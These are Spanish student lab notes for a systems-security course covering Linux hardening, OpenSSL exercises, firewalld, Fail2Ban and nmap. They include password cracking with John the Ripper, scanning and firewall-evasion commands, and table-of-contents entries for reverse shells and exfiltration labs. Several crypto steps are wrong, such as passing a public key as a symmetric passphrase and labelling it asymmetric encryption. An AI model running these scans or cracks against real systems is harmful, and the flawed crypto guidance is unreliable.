SSI Guión
Contenido
Práctica 1 – Bloque 1 ................................................................................... 5
Ejercicio L1B1_LOGIN: Entrar en sesión y actualizar la máquina
virtual ......................................................................................................... 5
Ejercicio L1B1_USER: Crear un usuario adecuado ............................ 5
Ejercicio L1B1_USERCHG: Cambiar entre usuarios correctamente ... 5
Práctica 1 – Bloque 2 .................................................................................. 6
Ejercicio L1B2_SSH: Instalar un servidor OpenSSH ......................... 6
Ejercicio L1B2_UFW: Habilitar el firewall .......................................... 6
Ejercicio L1B2_LYNIS: Evaluar la configuración de seguridad de la
máquina virtual base: Lynis ..................................................................... 7
Ejercicio L1B2_NMAP: Enumeración básica con nmap .................. 8
Práctica 1 – Bloque 3 .................................................................................. 9
Ejercicio L1B3_PWD: Poner una contraseña adecuada .................. 9
Ejercicio L1B3_MALSCAN: Habilitar el software de escaneo de
malware / rootkits .................................................................................... 9
Práctica 2 – Bloque 1 ................................................................................ 10
Práctica 2 – Bloque 2 ................................................................................ 11
Ejercicio L2B2_CENSYS: Censys ....................................................... 13
Práctica 3 – Bloque 1 ................................................................................ 15
Práctica 3 – Bloque 2 ................................................................................ 16
Práctica 3 – Bloque 3 ................................................................................ 18
Práctica 4 – Bloque 1 ................................................................................ 19
Práctica 4 – Bloque 2 ............................................................................... 21
Práctica 4 – Bloque 3 ............................................................................... 22
⚒ Ejercicio L4B3_DSIG: Firmas digitales para integridad ................... 22
⚒ Ejercicio L4B3_CERTSIGNPDF: Firmar un PDF con un certificado
autogenerado ......................................................................................... 23
Práctica 4 – Bloque 4 ............................................................................... 23
⚒ Ejercicio L4B4_CERTSSH: SSH sin contraseña ................................. 23
⚒ Ejercicio L4B4_WATERMARK: Marcas de agua ............................... 23
⚒ Ejercicio L4B4_META: Metadatos ...................................................... 23
Práctica 5 – Bloque 1 ................................................................................ 24
⚒ Ejercicio L5B4_SYSSTAT: Instalar sysstat para ver el consumo de
recursos ................................................................................................... 24
Práctica 6 – Bloque 1 ................................................................................ 24
Práctica 6 – Bloque 2 ............................................................................... 24
Práctica 6 – Bloque 3 ............................................................................... 24
Práctica 7 – Bloque 1 ................................................................................ 25
⚒ Ejercicio L7B1_FWZONES: Administración de zonas con firewalld 25
⚒ Ejercicio L7B1_FWBLOCK: Bloqueo de direcciones IP y redes con
firewalld ................................................................................................... 26
⚒ Ejercicio L7B1_FWFORWARD: Reenvío de puertos en firewalld .... 28
Práctica 7 – Bloque 2................................................................................ 29
⚒ Ejercicio L7B2_DNSPI: Protección de conexiones salientes: Filtrado
de DNS con PiHole ................................................................................. 29
Práctica 7 – Bloque 3................................................................................ 32
⚒ Ejercicio L7B3_IDSMALTRAIL: Instalación y prueba del IDS Maltrail
.................................................................................................................. 32
Práctica 8/9 – Bloque 1............................................................................. 32
⚒ Ejercicio L89B1_NMAPSTART: Una simple “puesta en marcha” .... 32
Práctica 8/9 – Bloque 2 ............................................................................ 34
⚒ Ejercicio L89B2_ADVDISC: Tipos de descubrimiento de hosts
avanzados de NMap ............................................................................... 34
⚒ Ejercicio L89B2_SCAN: Tipos de escaneo NMap y evasión de
firewalls básica ....................................................................................... 37
⚒ Ejercicio L89B2_ADVSCAN: Ejemplos (más) avanzados de NMap 38
⚒ Ejercicio L89B2_SILENTDETECT: Detección de tipo de sistema
operativo sin "ruido” ............................................................................... 39
⚒ Ejercicio L89B2_SCANOUTPUT: Formatos de salida NMap ............ 39
Práctica 8/9 – Bloque 3 ............................................................................ 39
⚒ Ejercicio L89B3_NSE: NMap Scripting Engine (NSE) ...................... 39
⚒ Ejercicio L89B3_INFOGAT: Técnicas de recopilación de información
con NSE ................................................................................................... 40
⚒ Ejercicio L89B3_HTTPINFOGAT: Recopilación de información HTTP
con NSE ................................................................................................... 40
Práctica 8/9 – Bloque 4............................................................................ 41
⚒ Ejercicio L89B4_SCRIPTSCAN: Escaneando en busca de archivos
concretos ................................................................................................. 41
⚒ Ejercicio L89B4_JSSCAN: Endpoints de servicios en archivos
JavaScript ................................................................................................ 42
⚒ Ejercicio L89B4_S3SCAN: Buckets de Amazon S3 .......................... 42
Práctica 10 – Bloque 1 ............................................................................... 43
⚒ Ejercicio L10B1_REVPROXY: Apache 2 instalado como un proxy
inverso ..................................................................................................... 43
Práctica 10 – Bloque 2 .............................................................................. 44
⚒ Ejercicio L10B2_WAF: Instalación de un WAF .................................. 44
⚒ Ejercicio L10B2_WAFPROT: WAF contra ataques web ................... 46
Práctica 10 – Bloque 3 .............................................................................. 46
⚒ Ejercicio L10B3_SASTSCA: Herramienta de detección automatizada
de vulnerabilidades en aplicaciones SonarQube (SAST, con módulo
SCA opcional) .......................................................................................... 46
⚒ Ejercicio L10B3_DAST: Uso de un DAST contra una aplicación ...... 48
Práctica 11 – Bloque 1 ................................................................................ 48
⚒ Ejercicio L11B1_NMAPMSF: NMap y Metasploit Framework (MSF) 48
⚒ Ejercicio L11B1_DIRB: Enumerar posibles archivos ocultos con
información interesante (T1190. Exploit Public-Facing Application) . 49
⚒ Ejercicio L11B1_SMB: Exfiltración a través de directorios
compartidos por SMB (T1190. Exploit Public-Facing Application) ..... 50
⚒ Ejercicio L11B1_CEWL: Diccionarios de contraseñas de palabras
comunes contra objetivos concretos (1078. Valid Accounts) ............. 51
⚒ Ejercicio L11B1_NMAPBRUTE: Fuerza bruta en línea con Nmap
(1078. Valid Accounts) ............................................................................ 52
⚒ Ejercicio L11B2_NETCAT: Netcat como herramienta de escucha
(TA1059. Command and Scripting Interpreter) .................................... 52
⚒ Ejercicio L11B2_BINDSHELL: Bind shell con netcat (TA1059.
Command and Scripting Interpreter) .................................................. 53
⚒ Ejercicio L11B2_REVERSESHELL: Reverse shell con netcat (TA1059.
Command and Scripting Interpreter) .................................................. 54
⚒ Ejercicio L11B2_REVERSESHELLNONC: Reverse shell sin netcat
(TA1059. Command and Scripting Interpreter) .................................... 54
⚒ Ejercicio L11B2_SEARCHPLOIT: Searchploit (T1203. Exploitation for
Client Execution) .................................................................................... 54
⚒ Ejercicio L11B3_GTFOBINS: GTFOBins para exfiltración de datos .. 55
Práctica 12/13 – Bloque 1 .......................................................................... 56
Ejercicio L12B1_METERPRETER: Meterpreter para explotación
(T1569. System Services)......................................................................... 56
Ejercicio L12B1_MULTIHANDLER: Payloads con msfvenom y
multi/handler .......................................................................................... 58
Práctica 12/13 – Bloque 2 ......................................................................... 60
Ejercicio L12B2_CRONEXFIL: Escalada de privilegios a través de
trabajos cron: Exfiltración de información privada (T1053. Scheduled
Task/Job) ................................................................................................. 60
Práctica 12/13 – Bloque 3 ......................................................................... 61
Ejercicio L12B3_RSHELLEXIT: Romper restricciones y ocultar
actividades (T1548. Abuse Elevation Control Mechanism) ................. 61
Ejercicio L12B3_SUDOEXE: Identificación de programas sudo
(T1548. Abuse Elevation Control Mechanism) ..................................... 61
Ejercicio L12B3_VALIDACC: Generar una contraseña válida para un
usuario de Linux (T1078. Valid Accounts) ............................................. 61
Ejercicio L12B3_SUDOSCALE: Escalar privilegios a través de
programas sudo (T1548. Abuse Elevation Control Mechanism) ........ 61
Ejercicio L12B3_SUIDEXE: Identificación de programas SUID
(T1548. Abuse Elevation Control Mechanism) ..................................... 61
Ejercicio L12B3_SUIDSCALE: Escalada de privilegios a través de
programas SUID (T1548. Abuse Elevation Control Mechanism) ........ 62
Ejercicio L12B3_INSPECTSCALE: Escalada de privilegios potencial
a través de técnicas de inspección ejecutables (T1078. Valid
Accounts) ................................................................................................ 62
Práctica 1 – Bloque 1
⚒️ Ejercicio L1B1_LOGIN: Entrar en sesión y actualizar la máquina virtual
Actualizar
sudo apt update
sudo apt full-upgrade
Para ahorrar espacio en disco (potencialmente), también puedes
(opcionalmente) ejecutar
sudo apt autoremove
sudo apt autoclean
Para instalar programas podemos usar snap
sudo snap refresh
⚒️ Ejercicio L1B1_USER: Crear un usuario adecuado
Para crear un usuario
sudo adduser <nombre>
Comando usermod para agregar el usuario al grupo sudo. De forma
predeterminada en Ubuntu, los miembros del grupo sudo tienen privilegios
sudo.
sudo usermod –aG sudo <user>
Para mirar a que grupo pertenece un usuario: groups <user>
⚒️ Ejercicio L1B1_USERCHG: Cambiar entre usuarios correctamente
su – <nombre>
Práctica 1 – Bloque 2
⚒️ Ejercicio L1B2_SSH: Instalar un servidor OpenSSH
Ssh user@server
Ejemplo: ssh vagrant@[Link] (en el caso de las prácticas)
Si el servicio ssh no funciona, debemos editar el archivo
“/etc/ssh/sshd_config” y permitir la autenticación de contraseñas por ssh.
PasswordAuthentication yes (Línea 57)
⚒️ Ejercicio L1B2_UFW: Habilitar el firewall
Si estás utilizando SSH para acceder a tu máquina, PRIMERO DEBES abrir el
puerto SSH ANTES de habilitar el firewall, o te bloquearás a ti mismo.
Para habilitar el firewall usamos: sudo ufw enable
Para comprobar el estado del firewall: sudo ufw status
Debemos permitir los servicios http y https:
sudo ufw allow http
sudo ufw allow https
⚒️ Ejercicio L1B2_LYNIS: Evaluar la configuración de seguridad de la
máquina virtual base: Lynis
Lynis audit system
Se puede añadir --quick para que no haya pausas
⚒️ Ejercicio L1B2_NMAP: Enumeración básica con nmap
Podemos usar nmap para verificar que un host esta vivo: nmap <IP o dominio>
Ej: nmap [Link]
Práctica 1 – Bloque 3
⚒️ Ejercicio L1B3_PWD: Poner una contraseña adecuada
Para cambiar la contraseña: passwd <contraseña>
⚒️ Ejercicio L1B3_MALSCAN: Habilitar el software de escaneo de malware /
rootkits
Chkrootkit
Instalamos chkrootkit: sudo apt install chkrootkit
Y lo ejecutamos: sudo chkrootkit
Rkhunter
Instalar Rkhunter: sudo apt install rkhunter
Ejecutar: sudo rkhunter -c
ClamAV
Instalar clamAV: sudo apt install clamav
Actualización de las firmas: sudo freshclam
Si la actualización falla pq hay un archivo bloqueado ejecutar: sudo service
clamav-freshclam stop
Escanear Directorio: sudo clamscan -r -I <directory>
⚒️ Ejercicio L1B3_LYNISREPORT: Informes de Lynis
Para poner bonitos y legibles los informes de Lynis
Instalamos: sudo apt install kbtin
Ejecutamos: sudo lynis audit system | ansi2html > [Link]
⚒️ Links
VirusTotal ([Link]
Google Safe Browsing ( [Link]
browsing/search)
Comprobación de vulnerabilidades
CVE ( [Link] ) ([Link]
NextDNS ([Link]
Práctica 2 – Bloque 1
Se necesita instalar lo siguiente para esta práctica: sudo apt install gnome-
keyring gnupg2 pass
⚒️ Ejercicio L2B1_ROBOTS: Fichero [Link]
Para acceder al archivo [Link] de una web simplemente ponemos en el
buscador: <URL de la web>/[Link]
Las URLs bajo la palabra “Disallow” no serán indexeadas
Práctica 2 – Bloque 2
⚒️ Ejercicio L2B2_SHODAN: Shodan
⚒️ Ejercicio L2B2_CENSYS: Censys
Práctica 2 – Bloque 3
⚒️ Ejercicio L2B3_DOMINIOS: Descubrimiento de subdominios
Esto lo hacemos con la infraestructura del lab2
Instalamos: sudo apt install knockpy
Para hacer un escaneo: knockpy -d<objetivo>
Escaneo con dnsenum: dnsenum <objetivo>
Ej: usamos el dominio “[Link]” y buscamos sus subdominios.
Ejercicio L2B3_NMAPSCAN: Escaneos en LAN con nmap
Si nos da problemas con los permisos la ejecutar nmap usamos el siguiente
comando: sudo setcap cap_net_raw+ep $(which nmap)
Ejecutamos el comando: sudo nmap –sL <dirección de la red>
Ej: sudo nmap –sL [Link]/24
Práctica 3 – Bloque 1
⚒ Ejercicio L3B1_STEGO: Uso de esteganografía con steghide
Las imágenes se descargan con wget, si no te deja haz wget <link> --no-
check-certificate
Ejemplo básico: steghide embed -cf [Link] -ef [Link]
Para sacar el secreto: steghide extract -sf [Link]
⚒ Ejercicio L3B1_OBFUSCATE: Código ofuscado para que sea difícil de
entender
[Link]
[Link]
[Link]
[Link]
[Link]
Práctica 3 – Bloque 2
IMPORTANTE: Para poder acceder a archivos de los contenedores desde
vagrant enviar los archivos al directorio shared:
cp fichero /shared/fichero
⚒ Ejercicio L3B2_SYMCRYPT: Cifrar un archivo utilizando un algoritmo de
clave simétrica fuerte
Openssl para cifrado simétrico
El archivo se encripta usando el comando:
openssl enc –aes-128-ecb –in [Link] -out
[Link] - pass pass:<LaContraseña>
⚒ Ejercicio L3B2_SYMCRYPT: Descifrar un archivo que utiliza cifrado
simétrico
El archivo se desencripta usando el comando:
Openssl enc –d –aes-128-ecb –in [Link] -out [Link]
⚒ Ejercicio L3B2_CIPHMODES: Probar los modos de cifrado ECB y CBC del
algoritmo simétrico robusto de cifrado AES
Instalamos las utilidades necesarias:
sudo apt install graphicsmagick-imagemagick-compat
Convertimos la imagen que descargamos de formato pdf a ppm:
convert [Link] [Link]
Separamos la cabecera del cuerpo de la imagen:
head -n 3 [Link] > [Link]
tail -n +4 [Link] > [Link]
Unimos la cabecera con el cuerpo encriptado (se encripta igual que el
ejercicio anterior):
cat [Link] [Link] > [Link]
⚒ Ejercicio L3B2_DISKCIPH: Cifrado de discos
Instalamos las utilidades necesarias:
sudo apt install ecryptfs-utils
Creamos la carpeta que vamos a encriptar en el directorio home
mount -t ecryptfs </ruta/de/carpeta> </ruta/de/carpeta>
• Elije un algoritmo de cifrado simétrico apropiado de acuerdo con la
teoría.
• Elije 32 bytes para la clave
• Elije No en la opción plaintext passthrough.
• Elije No a cifrar nombres de archivo (aunque este es un detalle menor)
• Responde Yes a las dos preguntas siguientes (aparecen si este es el
primer uso de cifrado de disco en el sistema operativo, que debería)
Para desmontar: umount /ruta
Práctica 3 – Bloque 3
⚒ Ejercicio L3B3_SSLCRACK: John the Ripper para romper OpenSSL
sudo apt install john
/usr/share/john/[Link] [Link] > [Link]
Para comprobar que se ha extraido correctamente la hash y que coincide
con el formato admitido por john:
john --format=openssl-enc --wordlist=/usr/share/wordlists/[Link] [Link]
john --wordlist=/wordlist/[Link] [Link]
john --show [Link]
⚒ Ejercicio L3B3_PASS: John the Ripper + contraseñas de usuario +
generador de listas de palabras crunch
Crunch 10 10 –t test%%%... -o output
El símbolo % significa "cualquier número".
El símbolo @ significa "cualquier letra minúscula".
Si tecleas una cadena de caracteres, se tratará como una constante (las
claves generadas tendrán esa cadena de caracteres en la posición que
indiques sí o sí).
⚒ Ejercicio L3B3_BRUTE: "Fuerza bruta pura" con John the Ripper
Elimina el archivo [Link] que está en el directorio .john
john --incremental --max-length=4 [Link]
--max-length=num (para limitar el número de permutaciones que puede
hacer john)
Práctica 4 – Bloque 1
⚒ Ejercicio L4B1_KEYPAIR: Generar un par de claves (pública – privada)
openssl genrsa –out pub_priv.key 4096
openssl rsa –in pub_priv.key -out [Link]
openssl ecparam –name secp224k1 –genkey –out [Link]
⚒ Ejercicio L4B1_ASSYMCRYPT: Uso del cifrado asimétrico para enviar
mensajes confidenciales
Enviar a ubuntu la clave pública de Kali
scp clavePublica ip:.
cp archivo /shared/archivo
Encriptar con la clave PUBLICA DE KALI un mensaje desde ubuntu
openssl enc –aes-128-ecb –in [Link] -out
[Link] - pass file:<ClavePublicaKali>
Enviar el mensaje encriptado a kali
Desde kali desencriptarlo con el par de claves publica privada
openssl enc –d –aes-128-ecb –in [Link] -out
[Link] -pass file:<ClavePrivadaKali>
Práctica 4 – Bloque 2
⚒ Ejercicio L4B2_KDFPASS: Usar un KDF como contraseña para un cifrado
simétrico
openssl enc -pbkdf2 -aes-128-ecb –k <contraseña> –P (genera clave aleatoria
KDF e imprime el resultado en el terminal y una salt)
Esto sirve para cifrar como en la práctica 3 pero en la –k ponemos la clave
obtenida
⚒ Ejercicio L4B2_REALASSYMCRIPT: Entender cómo funciona en la vida real
el cifrado asimétrico
Primero generar una hash aleatoria a partir de una contraseña desde kali
Openssl enc –pbkdf2 –aes-128-ecb –k <password> –P >[Link]
Después cifrar la hashcon openssl y la clave pública de ubuntu.
openssl enc –aes-128-ecb –in [Link] -out [Link] - pass
file:<ClavePublicaUbuntu>
Enviarle a ubuntu hash cifrada
Scp o el metodo de sara
Desde ubuntu descifrar la hash cifrado ([Link]) y encriptar un mensaje
con esta
openssl enc –d –aes-128-ecb –in [Link] -out [Link] -
pass file:<ClavePrivadaUbuntu>
openssl enc –aes-128-ecb –in [Link] -out [Link] - pass
file:[Link]
Enviar a kali en mensaje encriptado
Scp o el metodo magico de sara
Kali lo desencripta
openssl enc –d –aes-128-ecb –in [Link] -out
[Link] - pass file:[Link]
Y bum magia negra
Práctica 4 – Bloque 3
⚒ Ejercicio L4B3_AE: Uso de cifrado autenticado (Authenticated Encryption o
AE)
Clave robusta creada con un KDF:
Openssl enc –pbkdf2 –aes-128-ecb –k <password> –P >[Link]
Generar un iv:
openssl rand -hex 16
Primero generar una hash aleatoria a partir de una contraseña con iv
openssl enc -aes-128-cbc -k secret -P –pbkdf2
Vamos a cyberchef y escogemos AES Encrypt y AES Decrypt y llenamos con
los datos correspondientes.
⚒ Ejercicio L4B3_DSIG: Firmas digitales para integridad
Desde Ubuntu firmar un fichero con su clave privada:
openssl dgst -sha256 -sign pub_priv.key -out [Link] [Link]
Enviar a Kali la clave pública de Ubuntu, el fichero [Link] y el [Link]
Desde kali verificar que el fichero no ha sido modificado:
openssl dgst -sha256 -verify public_key.key-signature [Link]
⚒ Ejercicio L4B3_CERTSIGNPDF: Firmar un PDF con un certificado
autogenerado
openssl req -newkey rsa:2048 -nodes -keyout [Link] -x509 -days 365 -
out [Link]
Generar un .pfx:
openssl pkcs12 -export -out [Link] -inkey [Link] -in [Link]
Práctica 4 – Bloque 4
⚒ Ejercicio L4B4_CERTSSH: SSH sin contraseña
Desde ubuntu:
ssh-keygen -t rsa (dejar todo por defecto)
Desde kali:
ssh-copy-id -i ~/.ssh/id_rsa.pub usuario@direccion_ip_contenedor_ubuntu
Establecer conexión:
ssh usuario@direccion_ip_contenedor_ubuntu
⚒ Ejercicio L4B4_WATERMARK: Marcas de agua
Una línea:
convert -density 150 -fill "rgba(255,0,0,0.25)" - gravity Center -pointsize 80 -
draw "rotate -45 text 0,0 "
Dos líneas:
convert -density 150 -fill "rgba(255,0,0,0.50)" -pointsize 15 -draw "rotate -15 text
0,200 ''" -draw "rotate -15 text -25,260 ''"
⚒ Ejercicio L4B4_META: Metadatos
Todos los metadatos actuales: exiftool <imagen>
Eliminar todos los metadatos: exiftool -all= <imagen>
Práctica 5 – Bloque 1
⚒ Ejercicio L5B4_SYSSTAT: Instalar sysstat para ver el consumo de recursos
Sudo apt install sysstat
Comandos disponibles:
iostat informa de estadísticas de CPU y de entrada/salida para dispositivos
de bloque y particiones.
mpstat informa de estadísticas individuales o combinadas relacionadas con
el procesador.
pidstat informa de estadísticas para tareas (procesos) de Linux: E/S, CPU,
memoria, etc.
tapestat informa de estadísticas de unidades de cinta conectadas al sistema.
cifsiostat informa de estadísticas de CIFS (Common Internet File System).
Práctica 6 – Bloque 1
scan-workbench
Para usar oscap sin GUI
sudo oscap xccdf eval --profile xccdf_org.ssgproject.content_profile_firefox --
results [Link] --report [Link] [Link]
Práctica 6 – Bloque 2
Vete a los perfiles de seguridad descargados, accede a la carpeta ansible y
localiza el archivo .yml correspondiente al perfil CIS • Edita este .yml y cambia
hosts: all por hosts: localhost • Ejecuta sudo ansible-playbook ubuntu1804-
[Link]
Práctica 6 – Bloque 3
Wazuh
Una de las grandes ventajas de usar Wazuh es que viene con todo un
sistema automatizado de gestión de auditorías con CIS Benchmarks
integrado. No obstante, para que podamos usarlo de la forma más efectiva,
conviene que modifiquemos el fichero de configuración del OSSEC del
agente en el sistema monitorizado para activar la integración con la
herramienta de evaluación CIS-CAT que mencionamos en la teoría. No te
olvides reiniciar el agente después de hacer el cambio.
Práctica 7 – Bloque 1
⚒ Ejercicio L7B1_FWZONES: Administración de zonas con firewalld
Debemos desactivar primero ufw: sudo ufw disable
Tenemos que instalar firewalld: sudo apt install firewalld firewall-config
docker: Una zona especial que inicialmente contiene todas las redes creadas
por nuestros contenedores Docker. La tenemos porque se crea cuando se
instala Docker en el sistema.
• Zonas donde las conexiones entrantes están prohibidas y solo se permiten
conexiones salientes
o drop: Todas las conexiones entrantes se eliminan sin ninguna notificación
o block: Todas las conexiones entrantes son rechazadas (se notifica al cliente)
• Zonas donde se permiten conexiones entrantes que previamente
autoricemos nosotros. Como puede verse, están pensadas para diferentes
situaciones y redes donde se puede encontrar la máquina que tiene firewalld
instalado
o public: Para uso en áreas públicas no confiables. No confía en otros
equipos de la red.
o external: Para uso en redes externas con enmascaramiento NAT habilitado,
cuando el sistema actúa como puerta de enlace o enrutador.
o internal: Para uso en redes internas, cuando el sistema actúa como puerta
de enlace
o enrutador. Los otros sistemas de la red son generalmente de confianza.
o dmz: Se utiliza para equipos ubicados en una zona desmilitarizada
o DMZ (Tema 5 de teoría), que tendrán acceso limitado al resto de su red.
o work: Utilizado para máquinas del trabajo. Otros equipos de la red son
generalmente de confianza.
o home: Utilizado para máquinas domésticas. Otros equipos de la red son
generalmente de confianza.
• Zonas donde no se restringe ninguna conexión
o trusted: Se aceptan todas las conexiones de red. Confía en todos los
equipos de la red.
Ahora tenemos que configurar el nuevo firewall: sudo firewall-config
Cambiamos el combobox de “configuration” a “permanent”
Si no aparece, agregamos la tarjeta de red enp0s3: sudo firewall-cmd --
zone=public --change-interface=enp0s3
Comprobamos que la zona “work” tenga ssh activado: sudo firewall-cmd --
zone=work --list-all
Si se ve “services: ssh” es que está activado.
Si no esta habilitado ssh en la zona “work”, lo activamos: sudo firewall-cmd --
zone=work --add-service=ssh –permanent.
⚒ Ejercicio L7B1_FWBLOCK: Bloqueo de direcciones IP y redes con firewalld
Comprobamos la conexión: ping <ip>
Vamos a la VM y localizamos la tarjeta: ip addr show
Usamos “sudo firewall-config" y ponemos la zona de red en public haciendo
doble clic en la conexion y cambiando la zona.
Vamos a la seccion “Rich rules” en la zona public y añadimos una nueva
regla.
Ahora desde “network_attack” no nos podemos conectar por ssh a la ip
[Link]: ssh vagrant@[Link]
Si bloqueamos toda la red:
Seguimos sin poder conectarnos con ssh.
Si quitamos la regla podremos volver a conectarnos por ssh.
⚒ Ejercicio L7B1_FWFORWARD: Reenvío de puertos en firewalld
Para saber la interfaz de red de una ip concreta: ip route get <ip>
Añades la tarjeta de red de firefox a public y la del sies a la zona dmz
Después haces una norma de redirección en la zona public
Práctica 7 – Bloque 2
⚒ Ejercicio L7B2_DNSPI: Protección de conexiones salientes: Filtrado de DNS
con PiHole
ejecuta el script run_pihole.sh
Asegúrate de que apache 2 no esté instalado sudo apt-get remove apache2
Acceder a [Link]/admin y a una web con publicidad ([Link])
Modificar el fichero /etc/[Link] cambiando la ip del nameServer por
[Link]
⚒ Ejercicio L7B2_FAIL2BAN: Protección de intentos de intrusión: Fail2Ban
sudo apt install fail2ban
archivo /etc/fail2ban/[Link] -> configuración por defecto
archivo /etc/fail2ban/[Link] para habilitar o deshabilitar las jails.
(Si el archivo [Link] no existe, créalo copiando [Link])
Cuando se activa una jail, los parámetros bantime, findtime y maxretry
definen cómo se desautoriza una IP. Un bantime negativo significa un
bloqueo permanente. Un host es bloqueado por una jail si activa sus
condiciones con éxito más de maxretry veces a lo largo de findtime
segundos.
fail2ban-client puede usarse para gestionar fail2ban a través de las siguientes
opciones:
start: inicia fail2ban
reload: Recarga la configuración de fail2ban
reload JAIL: Reemplaza la configuración actual de la jail especificada por la
que está en el archivo que se pasa
stop: Detiene fail2ban
status: muestra el estado actual de fail2ban y las jails activas (incluidos sus
nombres)
status JAIL: muestra el estado de la jail especificada. Es una opción muy
importante ya que también muestra cuántas veces se ha activado y las IPs
bloqueadas actualmente.
[sshd]
enabled = true
port = ssh
maxretry = 3 # Número máximo de intentos fallidos antes de bloquear
findtime = 10m # Ventana de tiempo en la que se cuentan los intentos
fallidos (10 minutos)
bantime = 24h # Tiempo de bloqueo (24 horas)
⚒ Ejercicio L7B2_PORTSENTRY: Protección de intentos de escaneo:
PortSentry como honeypot
sudo apt install portsentry
sudo service portsentry status
Modo básico (valores: "tcp", "udp"): Escucha una lista estática de puertos
predefinidos en el archivo de configuración. No utilizaremos este modo ya
que la presencia de la herramienta se puede detectar fácilmente.
Modo stealth avanzado (valores: "atcp", "audp"): Usa un raw socket para
detectar escaneos y así la herramienta no puede ser detectada fácilmente:
los puertos parecen tener el servicio "normal" en él, pero es portsentry quien
está escuchando y detectando actividad sospechosa.
Solo hacer log del tráfico sospechoso en /var/log/syslog (valor: "0") (valor por
defecto)
Bloquear a la máquina “infractora” (valor: "1")
Ejecutar un programa como respuesta (valor: "2").
sudo systemctl stop portsentry
sudo systemctl restart portsentry
Una vez hecho esto, abre el fichero /etc/default/portsentry y pon TCP_MODE
a "atcp" y UDP_MODE a "audp" para habilitar el modo stealth avanzado.
Reinicia portsentry y haz un análisis nmap simple desde cualquiera de los
contenedores de infraestructura de Lab 7 a la máquina host (nmap ).
Una vez finalizado el análisis, comprueba el contenido de /var/log/syslog para
ver si se han detectado los intentos de análisis.
Que se haga log con éxito de los intentos de escaneo es la condición para
terminar de configurar portsentry según lo previsto:
Abre /etc/portsentry/[Link] y cambia los valores de los parámetros
BLOCK_UDP y BLOCK_TCP a "1".
Reinicia portsentry y vuelve a realizar el mismo análisis.
Práctica 7 – Bloque 3
⚒ Ejercicio L7B3_IDSMALTRAIL: Instalación y prueba del IDS Maltrail
Instalar e iniciar sensor:
sudo apt-get install git python3 python3-dev python3-pip python-is-python3
libpcap-dev build-essential procps schedtool
sudo pip3 install pcapy-ng
git clone --depth 1 [Link]
cd maltrail
sudo python3 [Link]
Server:
[[ -d maltrail ]] || git clone --depth 1 [Link]
cd maltrail
python3 [Link]
[Link]
Credentials -> admin:changeme!
Práctica 8/9 – Bloque 1
⚒ Ejercicio L89B1_NMAPSTART: Una simple “puesta en marcha”
Estos escaneos de nmap son los más usados en escenarios comunes. Se
pueden especificar rangos de puertos, de IPs y redes (CIDR) en los siguientes
tipos de escaneo:
• Escaneado de múltiples objetivos: nmap ... . P. ej.: nmap [Link]
[Link] [Link]
• Escaneado de un rango de IPs: P. ej.: nmap [Link]-100
• Escaneado de una red completa: P. ej.: nmap [Link]/24
• Escaneado de una red completa excluyendo ciertos hosts: P. ej.: nmap
[Link]/24 --exclude [Link]
• Identificar el sistema operativo de las máquinas activas: P. ej.: nmap -O
[Link]/24
• Escanear sólo un rango de puertos: P. ej.: nmap -p 22-80 [Link]/24
Análisis rápido: nmap -- top-ports 20 –open
Si haces un archivo cuyo contenido sea un listado de IPs puedes hacer el
rastreo de ellas usando la opción -iL
p.e: nmap -p 22-80 –iL [Link]
El uso del parámetro -A te permite realizar detección de SO y servicios con
más detalle. Al mismo tiempo, lo combinamos con -T4 para hacer una
ejecución más rápida.
Por ejemplo: nmap -A –T4 <objetivo>
Detección de versiones de servicios: -sV: nmap –sV <objetivo>
Exploración lenta y detallada
sudo nmap -sS -A -sV -O –p – <objetivo>
• -sS: Utiliza un tipo de análisis TCP SYN, potencialmente más capaz de evadir
firewalls.
• -A: Detecta las versiones de servicios y sistema operativo, realiza un
traceroute y ejecuta algunos scripts de análisis para completar la
información que obtiene.
• -sV: Investiga puertos abiertos para determinar qué servicio y versión están
ejecutando.
• -O: Activa la detección de la versión y tipo del sistema operativo.
• -p -: Escanea un rango de puertos (- significa todos los puertos).
⚒ Ejercicio L89B1_PORTS: Tratar con puertos
Escanear rangos de puertos con –p
X,Y solo puertos X e Y
X-Y escanea puertos del X al Y
X- escanea del X al 65536
-Y escanea del 1 al X
Puedes utilizar protocolos concretos asociados a cualquier número de puerto
por utilizando letras (T: TCP, U: UDP, S: SCTP, P: IP).
P. e.: nmap -p U:53,11,13,T:22-25,80,443,8080 [Link]
• -F (Escaneo rápido): En lugar de 1000, escanea los 100 puertos más
utilizados, aleatoriamente
• -r: En lugar de utilizar un orden de puertos aleatorio, utiliza uno secuencial
ascendente
Práctica 8/9 – Bloque 2
⚒ Ejercicio L89B2_ADVDISC: Tipos de descubrimiento de hosts avanzados de
NMap
Para ejecutar un script --script=< nombre de script y parámetros>
Técnicas avanzadas:
⚒ Ejercicio L89B2_SCAN: Tipos de escaneo NMap y evasión de firewalls
básica
⚒ Ejercicio L89B2_ADVSCAN: Ejemplos (más) avanzados de NMap
Escaneo TCP SYN y UDP (requiere tener privilegios de root): puedes
combinar varias técnicas de análisis de la tabla anterior.
E. g.: nmap -sS -sU -Pn [Link].
El parámetro -Pn se salta el escaneo vía ping y asume que el host está “vivo”.
Esto puede ser útil cuando hay un firewall que podría estar impidiendo las
respuestas ICMP.
TCP Connect Scan (no requiere tener privilegios de root):
Ej.: nmap -sT [Link].
Desaconsejado. Como dijimos, trata de usar un escaneo más sigiloso primero
Análisis rápido (no requiere tener privilegios de root): nmap -T4 -F
[Link]. Usa opciones de temporización predefinidas para mejorar la
velocidad de escaneo y escanea solo 100 puertos (- F).
Las opciones de temporización de NMap aparecen en esta tabla.
Por defecto se utiliza T3. T0 es muy lento, pero también prácticamente
indetectable
Verbose: nmap -T4 -A -v [Link]. Con la opción -v añadida a la mayoría de
los escaneos se obtiene una mejor visión de lo que está haciendo NMap; para
algunos escaneos además da detalles adicionales que el informe de la salida
no proporciona
⚒ Ejercicio L89B2_SILENTDETECT: Detección de tipo de sistema operativo sin
"ruido”
ping -c 1 <objetivo>
⚒ Ejercicio L89B2_SCANOUTPUT: Formatos de salida NMap
Formato NMap (-oN <fichero>)
Formato “Grepeable” (-oG <fichero> )
Formato XML (-oX <fichero>)
Práctica 8/9 – Bloque 3
⚒ Ejercicio L89B3_NSE: NMap Scripting Engine (NSE)
IMPORTANTE: Actualizar la bbdd antes de hacer el locate: sudo updatedb
/usr/share/nmap/scripts
locate *.nse
Algunos scripts importantes:
• http-title : obtiene el título de la ruta raíz de los sitios web
• smb-enum-shares: enumera los recursos compartidos con el
protocolo SAMBA
• snmp-sysdescr: extrae detalles de sistemas remotos a través del
protocolo SNMP
• whoisip: hace una conexión a los servidores WHOIS para saber más de
